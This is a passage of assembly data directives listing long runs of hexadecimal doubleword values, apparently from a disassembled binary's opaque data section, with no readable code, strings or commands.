		dd 6C3C3C55h, 0FB8611BDh, 0C7CADF02h, 720A4E4h,	0C017C836h
		dd 892F0451h, 9800F375h, 20127C62h, 1688E32h, 231EF08h
		dd 71DFBF84h, 7C99E8E4h, 30B75624h, 808AFC0Eh, 0CF24A354h
		dd 313A5C2Fh, 4918B83Ch, 0C182D89Ch, 29EB6C0Ah,	46929CC9h
		dd 0C02C0C03h, 4AF00055h, 0D693E1ACh, 2814387Bh, 3C08257h
		dd 1A9F0C94h, 485047h, 0B6540172h, 3E01B4A3h, 86A88061h
		dd 30A5AC42h, 0FBC000ADh, 605E361Bh, 0D02A2C28h, 0BF1DE412h
		dd 19584A45h, 49DAF338h, 6F8090B1h, 0A5F2BE48h,	8C0D373h
		dd 9F08D23Ch, 0E18CA38Bh, 0DC500E44h, 24172090h, 4C0521h
		dd 50E3B59Ah, 733BE248h, 6FC71EDAh, 5E7FE4EAh, 6BA59800h
		dd 0D67842C6h, 9F340299h, 56B947A3h, 0CA598080h, 3700A29Ch
		dd 0CE570890h, 293ED6Ah, 51A1FE11h, 0A46062ADh,	0FC3858AAh
		dd 18017577h, 9BE6A23Eh, 988078E0h, 0FE56C735h,	0A9C7AEC4h
		dd 0F00CE409h, 0CEE63Ah, 99DC8E52h, 0BD5BF2B8h,	9EA46B0Fh
		dd 0F3E4C39Ah, 5B00049h, 2DF7A9DCh, 49CF79A2h, 0DA00BD47h
		dd 5BE4B3ABh, 291D0082h, 11F5424Fh, 0C7007974h,	9D472891h
		dd 7B5424h, 0E5C157F3h,	483A7C4Ah, 13FE2AEAh, 0AE421260h
		dd 123609EBh, 6FF610Ch,	80A9B40h, 0EEEF30Fh, 26C93Ah, 41CC31CBh
		dd 509A00C8h, 0F5BF1BE8h, 300C948h, 0D94C253Fh,	0A96B65D0h
		dd 70229580h, 40FEFC1Eh, 7028AF53h, 1A037E79h, 8B079E98h
		dd 4D14882Dh, 0D31F008Eh, 8575FC43h, 0D51E6CDEh, 4AC60552h
		dd 91F007h, 2E6B10DDh, 0BDE00441h, 6366DF00h, 6573F47Ah
		dd 0C074019Eh, 44FDDEF0h, 6E985085h, 92076FCEh,	48EC0A77h
		dd 0CDF66300h, 1FE800C2h, 7393C818h, 6BE255BFh,	2C3449h
		dd 770FE9B6h, 6AC649h, 0FEAC38D7h, 2102C7C2h, 87BABE00h
		dd 6D24A4D3h, 0FCF01A7h, 0A092DC88h, 90DC20BFh,	9D50A601h
		dd 16408EC0h, 14ADC187h, 0DE26E06Ah, 843F28F6h,	63CE0051h
		dd 0C1E9D911h, 31740E52h, 8BA15567h, 7010C982h,	1F005150h
		dd 68AA904Bh, 38B4BA74h, 0AB8056C6h, 89424665h,	0E31DFB9Fh
		dd 0E9CEC84Ch, 7F320090h, 102CBAAh, 0BC9C181Ah,	0C0C0B86Dh
		dd 0E900C1A4h, 50AE0E6Fh, 2C3D21DFh, 0E85CE51h,	1D2113B7h
		dd 0CCA6EB25h, 1E121B89h, 0F300C6E3h, 1677B5F6h, 517D1F1Dh
		dd 0E4A4C0D5h, 0A61A26C1h, 3AF55403h, 2CC832h, 0BEF72381h
		dd 8A2AB3F0h, 1D4F2000h, 64AFD54Ch, 94C900DAh, 5BE38C4Ah
		dd 86E82C08h, 5A639F00h, 803378C2h, 7B1D0051h, 2C097FDDh
		dd 500EED01h, 40B6F553h, 0D299AAE3h, 6C81009Eh,	739FF078h
		dd 0ACA0257Fh, 0C184ABEh, 0D1EA95B4h, 5032603Bh, 0C0628597h
		dd 0B9280B03h, 0C05996CFh, 0F13F5h, 54EC1F20h, 1DA3A684h
		dd 2B1C2D74h, 0D240AAB3h, 0FDBA9315h, 64F40014h, 0B6BC204Eh
		dd 81035B28h, 90F6C7B9h, 0DBB1B083h, 6CE50014h,	0D92B3049h
		dd 721CC209h, 82C7DCBBh, 0B2A0EBF8h, 0E5E221h, 99ACB9DBh
		dd 0DAECD4E9h, 0A880A600h, 0E3244C78h, 4FE3B61h, 0B1E0108Fh
		dd 0E0FA8447h, 0C679A31Bh, 5F00C0F8h, 0FCED33E5h, 0FB8AFFh
		dd 2FF0E8B2h, 0CBB17BEEh, 8C38F903h, 0F0DC63CFh, 441708Bh
		dd 64B514EDh, 0CC10C020h, 180086AEh, 0E006B4F2h, 0FAD9EC7h
		dd 0C3591F73h, 0CC0D5680h, 0D20028F3h, 1ADDE3C8h, 3B5342h
		dd 529132Ah, 0E026AD8Ah, 55E1EC00h, 62EDAF71h, 0EDE0BFDCh
		dd 0F90FF390h, 0E0A38341h, 1C25D0F6h, 9B8B003Dh, 64C46152h
		dd 4F014A50h, 0E7C8E097h, 37C49AFFh, 8FCE0084h,	4B5EDC1Ch
		dd 11F4FCC9h, 0D5B45F00h, 85F8EFFFh, 0D38101BDh, 54AA2E1Fh
		dd 0F977E153h, 0B188E4B6h, 56FD4000h, 5023038Dh, 6E4E0096h
		dd 0E93CB349h, 1A001BB0h, 4A3163FFh, 2038DAh, 0AB241EEAh
		dd 0D596D167h, 2203DF75h, 98DD2948h, 0DCA0F00Bh, 9CD30065h
		dd 80090EB4h, 0FA07F0E4h, 0B71D0F52h, 0D360803Eh, 0F4E17Bh
		dd 0F9F88F9Bh, 799A6103h, 0FBAA2003h, 8018D223h, 26749B1h
		dd 0EF768626h, 2440AD35h, 771DD4D6h, 0B640E31Fh, 207C3AB1h
		dd 389D7BE1h, 839E5AA0h, 0CDFC071h, 85C4F335h, 64AC9F03h
		dd 0F84BA461h, 181B0A66h, 4C673BE3h, 0D078773h,	1E59BAC3h
		dd 2486602Eh, 0A5DE8Fh,	0B719F196h, 0D2FAB5AAh,	0CF0E9000h
		dd 7D66EBDBh, 44C0070h,	3162718Ah, 0A9004834h, 14CF2C30h
		dd 1D7A8C65h, 0DE05174Eh, 0D1930077h, 0BEAF26C3h, 7BEC78E4h
		dd 24D2CB07h, 0E100B82Fh, 0B317EEh, 86131CA7h, 0C3333E88h
		dd 55545200h, 9A0DE398h, 9D260002h, 0F053B471h,	64003B1Bh
		dd 827F302Ah, 7580CA8Eh, 0ECF4262Bh, 0B9D30093h, 9CAE3C04h
		dd 18A92F1Dh, 0FE541FC0h, 1CB6B7E8h, 4B4E7B9Dh,	80DDD7C9h
		dd 615B3FFBh, 412B0023h, 54F60B09h, 3900AAD1h, 2527E6C0h
		dd 3504FCh, 0ADA60F79h,	0F6B4E887h, 0FA7F4000h,	0C99A39CCh
		dd 0BBA21D7Bh, 8476C070h, 77AB85FBh, 549ED000h,	729FE00Ah
		dd 17F1F90h, 0D6C20007h, 0F3C38BC5h, 627E3900h,	75DB729Ah
		dd 0ADCCA0FEh, 0D3B600E9h, 8DD8F6D0h, 3771574Dh, 5D89BC00h
		dd 1903FB0Dh, 79F876DCh, 3EF11DDAh, 0FE1ACE09h,	575A5120h
		dd 2CF8CAB1h, 71A68313h, 7B999907h, 0E019DA80h,	5B700065h
		dd 12B8B12Bh, 3F009F71h, 0A409928Dh, 2879B0h, 46A508F0h
		dd 55384B18h, 184EAA5Ch, 48E6232h, 688C016Fh, 3B07C0D5h
		dd 0A4E0D340h, 5B0015B3h, 12EC83A7h, 30951F18h,	1010AB29h
		dd 1401A8BFh, 0F9D46381h, 76D8642Ch, 983FEC55h,	9229C05Dh
		dd 0F540DF43h, 0A490C600h, 23055E36h, 0AC500A5h, 2434B07Ah
		dd 0AE008345h, 0F5888E26h, 1D1EFF31h, 0A8CF8Bh,	8AE4B174h
		dd 38007682h, 2147C0CAh, 320837h, 885CB7E9h, 0B38B092Eh
		dd 92F4F500h, 3D2C768Fh, 4122125Bh, 3C9E001Fh, 444CD2FBh
		dd 0C9DF3600h, 0F9AC6652h, 0A2130406h, 80BF5822h, 0D111FDF3h
		dd 0EE01AE00h, 766B7020h, 5E50050h, 15679C17h, 42002A3Dh
		dd 0A76864F6h, 0E8AEF9AAh, 83330019h, 230DA52Dh, 1B0177A2h
		dd 684F35B2h, 81E82F56h, 826D01A7h, 0CBED27E4h,	3CA6E003h
		dd 36525A00h, 2F7E350Eh, 6E2A3B58h, 0ABFB6284h,	1D45C187h
		dd 0C7BE604Eh, 721BCB05h, 0E480DB7Eh, 19A0493h,	6F2F4389h
		dd 0C06C2E5Bh, 0D9038CB3h, 9626300Ah, 0DE6D90FCh, 0B8CD078Dh
		dd 377DC6h, 17296E80h, 0B56F9207h, 0F2D0AC60h, 0E2F4C0DEh
		dd 0A6EF00BDh, 5289D610h, 0D8076D91h, 0CA7E4DC3h, 3A9AC620h
		dd 17A67ABBh, 36E645h, 7D5EDEF7h, 577412D5h, 56ABCCFBh
		dd 24A41E58h, 8D073C94h, 0FD306AACh, 0CF556Eh, 0DAB6327h
		dd 8938F3C2h, 0D5496400h, 0AE658775h, 0B9271CA1h, 1454408Fh
		dd 0BADBFBAh, 52B0A707h, 0B3606475h, 0B8029E6Ch, 0B2E600E2h
		dd 13C16BAAh, 4CE00C30h, 20F8D40Fh, 878844B5h, 846F48C0h
		dd 8D71008Ch, 0D00E1966h, 0B700AFC4h, 1B5D9572h, 3EAB076h
		dd 0E13816EDh
		dd 18007389h, 81FFAA79h, 0F0F0C2F6h, 0DC550FC0h, 22A360ECh
		dd 87B06C9Ah, 59269DBEh, 4F00FC2Eh, 0E1582BFFh,	3D537A78h
		dd 0A9005092h, 5A091B7Ch, 0DB38DEAEh, 37B00F4h,	310185E0h
		dd 0AAA303BAh, 0A5B34B35h, 7E605ECAh, 0E2000CF9h, 63DFFAC2h
		dd 0F0A2D981h, 0D5C00D5h, 1C6D0920h, 502F1EDh, 68F687FDh
		dd 88F087EBh, 1F7EFF50h, 973B0010h, 64A6A56Bh, 0E51D28C7h
		dd 86DC7116h, 0D7803FC0h, 58D25DA3h, 523E2C20h,	781C1980h
		dd 0DAD4E20Eh, 5CB98B03h, 0D5B1DCh, 0ED8418F0h,	0C26E7F7Ch
		dd 0FC1E5000h, 10C857E1h, 0EC77007Ah, 206882D6h, 6F1F6491h
		dd 26405C80h, 0D0AC7EA6h, 9F871634h, 0E16F0088h, 0C70BA319h
		dd 27020900h, 0B052C6C2h, 79AE425h, 168CD190h, 39F3142h
		dd 47EBC8BAh, 0EA6D0403h, 0F81BDF41h, 26B7DDCh,	0A4CC16Eh
		dd 3A4118BCh, 70A1FCF6h, 95B29900h, 0D8379D7Ah,	0C48503F7h
		dd 8EF46F06h, 0FA1D1001h, 162D1A4Eh, 0F8D2F8h, 70631065h
		dd 516BB335h, 0A581DB00h, 0D024E51Ch, 69ED0089h, 2145DF67h
		dd 3200B9A2h, 0EA62F1E8h, 154B0Fh, 0C23AE1FEh, 45AEC533h
		dd 0C48D470Fh, 0EC0A404Ah, 35C0FB6h, 1A5056EBh,	35A0A87Bh
		dd 0EF0022F0h, 136C9B8Ch, 0ED8EB5h, 739ADB06h, 895716FFh
		dd 5C2843Ah, 0B82E2C12h, 45591003h, 9F391D8Dh, 14B28090h
		dd 22630C01h, 0F6A24400h, 7A68137h, 3FC73C5Eh, 8B142800h
		dd 71AC2319h, 0A9DA1300h, 0FCDB6FC6h, 0C8781C06h, 0F2240BCh
		dd 9C5E5236h, 71F44F07h, 0E35F43D4h, 0E77B34B6h, 0BDED08D0h
		dd 0F6A40EE3h, 35C198F4h, 0F4AA1C83h, 84004B4Fh, 5F4DDD38h
		dd 0F641DF9h, 0B491F656h, 1C5B413Fh, 0C880AE9Eh, 9B004B37h
		dd 0D4138A05h, 7FA276h,	4E8B61C5h, 5D18E502h, 81DBCA3Dh
		dd 0DFC3B066h, 0D360426Ch, 62200F7h, 18B504A8h,	0D9075235h
		dd 0EC55678Dh, 0A7D44D50h, 6245001Ah, 4B0DC5A0h, 0C91F8AB4h
		dd 63DCDFDAh, 0CAEF5FC2h, 80CFE297h, 0A393E770h, 2BE31F2Ch
		dd 982480FFh, 0B45BA65Dh, 401E0EE4h, 0D100F236h, 6AAB3DF0h
		dd 5D22006Dh, 0AFBFF930h, 1BF4B1A1h, 673F8700h,	0C5CDDBB0h
		dd 4E480027h, 2264E7B3h, 0B27A0E15h, 0C0004079h, 34A219BFh
		dd 28E6D6FBh, 2EE8779Ah, 255678h, 0DFAE0281h, 0CD0701DAh
		dd 0B4E97E8Bh, 0BDBB5330h, 37DD00B6h, 7F8605D5h, 1A00A9EAh
		dd 1C2ECC97h, 61349ADAh, 832D9F0h, 2814209Eh, 1CC54101h
		dd 0AE71071Ah, 2DF870E5h, 4864005Ah, 0D4856F89h, 38DFC45Dh
		dd 0DB40E2DCh, 1175283Fh, 0AE9500B6h, 1E19C8B9h, 7F00AA9Dh
		dd 0E20B5506h, 0CFDC299h, 0A78E2DDAh, 0CF0091C9h, 293D14A1h
		dd 3F98E4B3h, 1580BD54h, 4B83E05Eh, 383912EEh, 0DADE1673h
		dd 33A20701h, 0AEC4D5A8h, 0E829009Dh, 11D20E68h, 50004D25h
		dd 1C53ED16h, 3E955A87h, 6B004EF6h, 477721ABh, 60001F08h
		dd 0FEE7FF27h, 507D9Ah,	9B8E28CAh, 1B59B4DCh, 741AAA00h
		dd 60BB275Ah, 99EF0062h, 0A78431F9h, 900A093h, 71588E3Eh
		dd 76186AAh, 5CCBB535h,	5051A0E5h, 0CF00D588h, 4AA0A511h
		dd 8EE615h, 0EA456CC6h,	4C47432Ah, 6BC37B1Eh, 6200BB57h
		dd 0AB647CACh, 69EF3A3Eh, 0FCECB600h, 0A42E3576h, 899EBD00h
		dd 0F80A1BEEh, 0B6F2E7h, 8742CFF9h, 0CA524B1Ch,	80A5993Ah
		dd 9D15D07Eh, 0E291332Eh, 791830B8h, 0A904F950h, 84035F00h
		dd 7316AEB2h, 957289h, 0E2337C26h, 46F2576h, 0C8B82401h
		dd 0D6E5F7A4h, 3D68C9A4h, 50BA5581h, 0C0B436F6h, 0A1009343h
		dd 3DE5EFBCh, 0A25A340h, 8E052A2Fh, 5F630608h, 8D00806Eh
		dd 37F41117h, 7486572Dh, 0FC7A0107h, 0CF41927Ch, 472BFCF8h
		dd 4DB9CC05h, 88008BC8h, 553F02B6h, 0FC50008Ah,	3D31515Ah
		dd 0A3037D0Ah, 0C1E1401Bh, 21280049h, 2527CD11h, 0EE01A92Ch
		dd 0E8013C91h, 48308358h, 0C1510194h, 11AF3785h, 0E0F5D88Ah
		dd 0FBFDEE00h, 7F8EFA35h, 280A4CBAh, 9BF85A00h,	0D06E3856h
		dd 0F0577D00h, 0BFB4347Bh, 6D700945h, 9002E84h,	9CF13D39h
		dd 620022E4h, 548540B2h, 3D2AEB38h, 0F48E92C4h,	29E03EAEh
		dd 815FF044h, 7B19D800h, 0CDBFA18Eh, 0D96A07C6h, 0B2304EA7h
		dd 0D6E1E3F0h, 714330B6h, 9F378400h, 74D7957Ch,	0EA411E35h
		dd 62250710h, 8CC32081h, 260038ADh, 0BE86E713h,	538837h
		dd 0CD472E12h, 740DF4A8h, 5B626C00h, 0CF4BF3FCh, 607F7D0Eh
		dd 0B355C86Fh, 0A20091F8h, 0FB27DB5Ah, 0F62975h, 4FC534B8h
		dd 96997755h, 0E0C188C0h, 659B1F2h, 0FA6BF933h,	0E317A1A9h
		dd 0AD00A128h, 15FB82B5h, 0EA680078h, 0B126A7ABh, 6207107Ch
		dd 0E5766461h, 4F6085F7h, 6E0BEDh, 1FE11C49h, 82D86B79h
		dd 6415E200h, 0DD5AA7B2h, 1917A46h, 0A323D3F9h,	0C837FBBEh
		dd 0B3009F25h, 0E1AF5FB4h, 0FAC615h, 70C79247h,	852C76B7h
		dd 1D002378h, 2BE4E1DAh, 9B63CF8h, 9CD8F427h, 7C5A805Dh
		dd 1AE0FE5Bh, 78265441h, 0DC215980h, 3F00450Ah,	0F96957D7h
		dd 0FE4FDCDh, 4A27B55Fh, 21AE11E0h, 37772D53h, 0CAD3AF1Ch
		dd 0BE04D1C0h, 1475E5h,	2CD101Bh, 53031525h, 1F9C8701h
		dd 5D2DBBDEh, 845020B9h, 0A73B0B25h, 0C88738E0h, 0A6D2F0B6h
		dd 69E628B0h, 2A95D903h, 68A2271h, 55DB4620h, 35008850h
		dd 156333F4h, 49591Eh, 8FBA7071h, 8B3A1F2Ah, 3042FAC0h
		dd 1D9B0F48h, 8376B655h, 32CDE98Eh, 7909A0CFh, 22002CD7h
		dd 0BE800790h, 4EDB60h,	3C2F2B54h, 7F1CD065h, 82045AF3h
		dd 88D20835h, 0F8D50420h, 6326212Fh, 740D0204h,	7AD81828h
		dd 0DEE00Eh, 0EF06ED01h, 0A914386Ch, 58A2B700h,	8AFCB8D0h
		dd 95E50028h, 462DBF36h, 0A400594Eh, 18CD625Eh,	0F19B8C2h
		dd 8B585364h, 0D898ACA1h, 49D9F0D3h, 81A51B00h,	0FE8A3E6h
		dd 8120A5C0h, 2AECFA04h, 0C1F91084h, 0D4A7013Ah, 912351F5h
		dd 7F8DFCA9h, 0BC0ED8EAh, 12C887h, 975380B7h, 98CC0010h
		dd 66EE994h, 6600827Fh,	2B5D0231h, 0E2C19741h, 7F0D9h
		dd 0F36B8E24h, 0E9955FFAh, 870D0B02h, 0E00904DCh, 7CD890DEh
		dd 0B0755B65h, 940071AAh, 0FB5146C5h, 1804EAC0h, 30E9667Ah
		dd 6B031272h, 0CB79DF77h, 7D807C96h, 0D98E0336h, 39E6F33Ch
		dd 66EE81B8h, 9300B571h, 0C04640D6h, 0D283631h,	0C15299C5h
		dd 5F74C858h, 60909703h, 88ECE8FAh, 0F35CC4Fh, 0DE8A59E7h
		dd 0D82E9CBCh, 5E996893h, 0FC3F6800h, 857BDA91h, 0F0F40062h
		dd 0D872D274h, 0B779B5C2h, 0D7D17A00h, 0A6B96029h, 9C810323h
		dd 0CFCDF3Eh, 94C026FBh, 26985D82h, 0EAF057F4h,	0A832100h
		dd 0ACB0B808h, 861200CEh, 0EB3A0D51h, 0CF00E2FEh, 0F2E17DE9h
		dd 5DD66Fh, 94AEEFACh, 0A32BDAA2h, 8E00D7E0h, 5B4FCD8Bh
		dd 866699h, 3E82CEA7h, 98D3BAFAh, 8830AA60h, 0BC2B0DAh
		dd 0E8EDDBD7h, 0C3D5A605h, 0A090077Eh, 2500D8B9h, 0CC7F4261h
		dd 0F291776h, 0A2F65C39h, 0D088D9E0h, 0FD07D24Ch, 7D89694Fh
		dd 9A576DF0h, 0B45C0FC1h, 0C7A0C9DEh, 0D368EB41h, 348F4700h
		dd 42560FE9h, 5E250089h, 0AF2AC201h, 0C53F7837h, 6A6289C0h
		dd 0D27B000Eh, 7E138Dh,	0ACB922DEh, 883052DBh, 0A18A88C3h
		dd 0E357B8E5h, 592E0095h, 68B1F0C8h, 9F0777E1h,	4EEF6CF7h
		dd 459D1090h, 81BA1E4Fh, 1789C0A8h, 417DF873h, 728DD03h
		dd 0B0E1B3A9h, 0ECB29A3Bh, 1D701Eh, 0F67B3768h,	12913B7h
		dd 9D6B8B1Eh, 5D4D0480h
		dd 5EE2DD0h, 22D37D06h,	1B66C073h, 987D58F1h, 0DB063474h
		dd 8619A239h, 0C04271B0h, 3CC6F2E2h, 32725E44h,	8018D93Fh
		dd 8DBD7B34h, 0BB050Dh,	50D0482Fh, 5666DE6Fh, 0CE7CF20Ch
		dd 759B86Bh, 0CD220C57h, 533E40D2h, 1C79E334h, 0F006A7Fh
		dd 73F26729h, 5C9CFCDh,	86F83245h, 537C0092h, 8C5D07FCh
		dd 4200E17Eh, 47C3E9Eh,	0ED1F01h, 0F4DEF8C1h, 9BB6C0CBh
		dd 0D480BD90h, 8700A6B7h, 4C1F6B16h, 0D7A4AEh, 0B1E2E3AFh
		dd 54F613C3h, 0C8335501h, 3690BF6Bh, 0FC001823h, 245982Ah
		dd 0B000B3F1h, 503108EEh, 0FEF218h, 0F0E5F3D2h,	0C529FDF5h
		dd 73346600h, 15566D17h, 7EEE0021h, 2BDFE5C2h, 0A303CBE6h
		dd 0A6FEBA42h, 0F8B6CB53h, 0E46112F7h, 298E010Fh, 50AE19Ch
		dd 0DCF0FF30h, 0C618DEE0h, 0FC586FA3h, 0BCB83D18h, 0A32007Ch
		dd 7447600Fh, 0EF00F1DCh, 0C0565788h, 0E4BA8CF4h, 0D22F00E7h
		dd 7B0AC9ABh, 90002D37h, 438D13B6h, 57E1C7h, 383A5A02h
		dd 29885181h, 0B6418F00h, 9517DA8Ch, 5CE6EEB5h,	400042E3h
		dd 0AE32F175h, 4A03D2CFh, 0C83C7421h, 959BE072h, 443E00F9h
		dd 52CA93A9h, 0A1001335h, 7340D09Dh, 8FE9A7h, 1A1F0607h
		dd 0F81B664h, 87A5C201h, 0A1AE753Eh, 8421ECh, 68721338h
		dd 57E31545h, 0A8BCA930h, 3AF942h, 828C2612h, 0F1444CD4h
		dd 0E73BDB00h, 0AD7D5CEEh, 0ACE86Dh, 290EA6C4h,	0C606EAD9h
		dd 3A473503h, 99343BB7h, 4DE09450h, 0DD3F1942h,	0E46481ACh
		dd 23007B1Fh, 6D46D1C5h, 7A5817h, 295C0C56h, 21357CE5h
		dd 421CD900h, 7FDCED87h, 41980007h, 0F491C827h,	0BAE0253Eh
		dd 0E93156FCh, 9EFE5886h, 0B5909C47h, 0E8FD76h,	621B8EE6h
		dd 5ECD9BEh, 0BD7C6854h, 7354936Eh, 2BB12E00h, 2AC7CAFEh
		dd 0C032F4h, 0A017D025h, 72146496h, 0CE3D8700h,	22AA5674h
		dd 4E291566h, 0BE0C98CAh, 0B13944CDh, 609A0E0Ah, 9300E8B6h
		dd 4F0CD1EEh, 0C52A02C6h, 6AA2B49h, 509EB887h, 9F3E61F5h
		dd 0A0623300h, 0E61BB717h, 82CA005Ah, 0E9FFED1Ah, 0BD00A241h
		dd 34B20A80h, 31F332Ch,	25461BBAh, 9C80F58Bh, 690EC84Dh
		dd 0A3541006h, 8F01AE4Fh, 0BE701EC1h, 5386D8h, 47F9C030h
		dd 0AC4D6FDCh, 7F1F5200h, 232CCD2h, 9A2B0069h, 0F2D4F374h
		dd 88007C44h, 9B2072E1h, 3558CD7h, 0CAC808D3h, 39DB0AA1h
		dd 1A4D2AF8h, 0EB0D8300h, 0CC50423Fh, 0B3C00794h, 4046A5DAh
		dd 0EAE466F2h, 0E61A6B00h, 7F5C049Bh, 6EE00340h, 56D265CAh
		dd 0F44D7801h, 7BC9D60h, 0F0C29360h, 0A8D07E7h,	0B0E445F7h
		dd 0E19DB061h, 0D7FB8903h, 0B8F1CAA2h, 30A3ED4Bh, 0F8604EF2h
		dd 670035C3h, 84B12057h, 5AACD98h, 720BF712h, 1A94003Ch
		dd 77B886C4h, 0E1B018C0h, 0B98473Eh, 1C175A0Ah,	0DE80807Dh
		dd 59BE57Eh, 6A1E674Dh,	0FBCC07BBh, 12CB60ADh, 9F01A305h
		dd 1D61E9DFh, 80A6522Dh, 9B2830C3h, 2C00819Ch, 0A235075Ah
		dd 3246FDDh, 0AD0BFBE2h, 46A4A7E0h, 874D4h, 0F3ACA54Dh
		dd 0C42C4EF0h, 68891D00h, 914C7793h, 0A07A95h, 0F9D78D6Eh
		dd 0D94DBF2Ch, 816FE43Eh, 81EE4BD0h, 0E180E248h, 0EBFF89B9h
		dd 0EF0060D1h, 67B22B23h, 0BBD3644h, 9BE46349h,	0DE507500h
		dd 0A203F847h, 0FC74142Ch, 0C0D8D085h, 243C01F6h, 0E04A42E6h
		dd 3840DA03h, 0E9C0A44Dh, 0D97E4F83h, 0CC8D149Ch, 6780E84Ch
		dd 71E9E820h, 0AA4698A0h, 0F9C27306h, 38534Eh, 0F0ED36C0h
		dd 501B7B06h, 9227DC00h, 0F8C565A1h, 3DECA0ADh,	8D9F0C8h
		dd 504620DEh, 0F9031E1Fh, 0A06FCCA3h, 86B02Dh, 0E4C24D6Eh
		dd 4F3B8ED3h, 37E0B700h, 0EDEEE76h, 0BC671E22h,	0F7712F0h
		dd 1F5E02C1h, 6280FA9Dh, 0E3C3F423h, 5E3C1009h,	5FA38029h
		dd 0C6FA7428h, 9573A2h,	99DD0239h, 2578E363h, 121FDA01h
		dd 0F1163122h, 0D9905880h, 79F5FA5Bh, 4F2AFE00h, 230E8865h
		dd 0CCC8047Dh, 80464120h, 7891E788h, 0BD00E1FAh, 76620CE8h
		dd 0FFFEABC4h, 85311883h, 0D00C4332h, 606309CFh, 597D01BFh
		dd 0EEB75E94h, 8868F8C1h, 87009B79h, 4E16CE04h,	7D9A0956h
		dd 242F0EE6h, 372646C8h, 0DD3D70EAh, 87FEB903h,	0DBD38E1Bh
		dd 0FAC258F0h, 0F986E560h, 9003B3FBh, 45DC7D00h, 0DEB61CA0h
		dd 0EF6A0F9Fh, 59C9F3A7h, 20E56487h, 0A1D6A037h, 0F879B100h
		dd 2C5CDC5Dh, 0FCB4002Dh, 57A48D7Bh, 0FA981A3Dh, 9E9B4000h
		dd 8A151E6Ah, 693033ECh, 79B00B30h, 91F0BE7Bh, 0AA71E600h
		dd 0CA556EDFh, 0F22F004Bh, 0BE5D6BADh, 3801F9D3h, 0B08EE0EBh
		dd 0B68FC74Eh, 9A269581h, 1A005026h, 0E819F33Fh, 391BDDA3h
		dd 42012E82h, 8343D449h, 6156166h, 350070B3h, 6CB7A8EDh
		dd 1D0DCF5h, 0E48D9AA2h, 0FCBD1F0Eh, 83F093Eh, 555B0F67h
		dd 290B402Dh, 0F464381Ah, 70F77FFCh, 0EED579B4h, 0DD2B0024h
		dd 2ED15F12h, 0D218868Ah, 0C0087F45h, 28C100A8h, 77FE7CC8h
		dd 0B61E5602h, 8200416Dh, 43142F72h, 0F6613DF3h, 4090CA1Ch
		dd 8BDC4E2Eh, 0DA7D6386h, 0D8D2A103h, 0D86E42DEh, 0AC5320h
		dd 68C1E1Ch, 4B1315D5h,	9C0CB371h, 7872EE39h, 0CB7247h
		dd 0B99D76Fh, 0B413C7DAh, 35DE220Ch, 389879h, 5ED91B06h
		dd 0BA02FF37h, 6BFBBD07h, 0DE80937Ah, 30CB878Bh, 45805F70h
		dd 38C07B2Dh, 0D0C8573Bh, 5B9D0061h, 8747F0B2h,	6400B345h
		dd 59E3C43Ch, 9A035Ah, 7F8674DDh, 6F9DF071h, 0BEB7B507h
		dd 0EF09CBAh, 72B3A0h, 0E7B82A78h, 2AF3855h, 31CFA698h
		dd 9B5C8458h, 74D61FC0h, 96F4006Eh, 0E4384F1Fh,	0E008067h
		dd 99FE9EDFh, 0C173BBF5h, 0B45E4A38h, 59C0F346h, 0BF2D1DC2h
		dd 300ED0FDh, 7118812Ch, 0EF039649h, 0C4AECC5h,	5D21B094h
		dd 7A187A95h, 0E16E0048h, 6A9103A4h, 204CFB50h,	0EA850090h
		dd 9F82B0AFh, 71720C83h, 9D797477h, 78C2BE22h, 0B0DE0094h
		dd 0D50253BFh, 57EAEF7Eh, 0D7000DF8h, 0F72D78D0h, 1251840h
		dd 64CFF976h, 485A1782h, 1922B19Ch, 3A83186Fh, 1E204A1Bh
		dd 6B35EC00h, 684BF955h, 0EE870056h, 0AA2925FCh, 7F0026DBh
		dd 7B9406F4h, 18609FB2h, 99BDF6F1h, 0EB3C2B4Ch,	1B238025h
		dd 11B3E8E3h, 7D2D0054h, 39DBA251h, 0B0C7BB55h,	0E8C0139Dh
		dd 0C0BA95F7h, 33058041h, 4F03B570h, 5847C8B0h,	0CF41B8C1h
		dd 0B1D56B19h, 0A4BA900h, 0E3EE7715h, 13184805h, 5443DB33h
		dd 1EAE1D39h, 2A16B069h, 86540FA8h, 0EC95B1F8h,	0C19DF740h
		dd 0B3CF7D28h, 3019C953h, 5509D2C2h, 667EBC8h, 41502Bh
		dd 1F1BAEC0h, 0FFAB7BF0h, 0B0C3B100h, 0F1BA5101h, 12CA747Dh
		dd 27CEB3B2h, 0FD48A318h, 0D0EA9080h, 0D84AA60Ah, 0B0CF497h
		dd 31B0F8DDh, 19619D75h, 2D918170h, 2E70F94h, 8186E8h
		dd 37AEE2B0h, 69909899h, 510085F6h, 0CB16ED8Ch,	73FFDAh
		dd 36371F3Ch, 0A752F183h, 190E6AE8h, 9F675D81h,	0C5D98700h
		dd 372A14h, 5AB9734Eh, 0DBF6545h, 6CDA940Ch, 3832868h
		dd 0C42F8207h, 6F07078h, 4300309Ch, 44B72E12h, 0CC73214h
		dd 7C62ACC1h, 5900F991h, 73663CE5h, 0F70E16h, 17DAB176h
		dd 35AAD8B2h, 2614B400h, 4AC5753Ah, 0A6D30A68h,	1689469h
		dd 48F2E3D8h, 0DF8EC4EAh, 8B72D915h, 0DD200850h, 0B7B900C0h
		dd 0CC03CE13h, 8CB8FB00h, 0E4A55E74h, 82280085h, 0ED9DCDDCh
		dd 0C02CC18Fh, 0E315F480h, 0A47F005Ch, 69C4BC01h, 3072F01Ah
		dd 0ACF8FEBBh, 1100E1AFh
		dd 0F0A069Fh, 3DCFE92Ah, 0A286DBB5h, 28FF16C8h,	796F7301h
		dd 37FA6832h, 0F0878CCh, 466DDF49h, 0DE5BBAC1h,	9528CCA8h
		dd 0C35DB300h, 553F18F9h, 0CF1F06Eh, 0C5F5C7A0h, 0D5155ED1h
		dd 15846D6Bh, 0C6CCABD9h, 18791772h, 2861EB93h,	0AF070CC5h
		dd 0F775B5CAh, 813BF4C0h, 0DD7738C7h, 0B8F89480h, 18045222h
		dd 0B4F73209h, 16080035h, 5AB03Eh, 469DC1FFh, 284EDAADh
		dd 73CA61C1h, 9986CC58h, 181699C4h, 0EA8C6A13h,	6EA4AA00h
		dd 91EFB3EDh, 0F80F9444h, 80536CC2h, 0C06A3848h, 0A71DACA8h
		dd 95083B0Fh, 0C2E480A2h, 9500E5Eh, 0C39F9C7Ch,	1AAC1022h
		dd 0D86723h, 45BBF9E9h,	0D6BE86A6h, 5C6D3C24h, 1DEEA550h
		dd 0C05F178Ch, 0E62FCF1Ah, 0B7095B59h, 95C8B1h,	71E069BBh
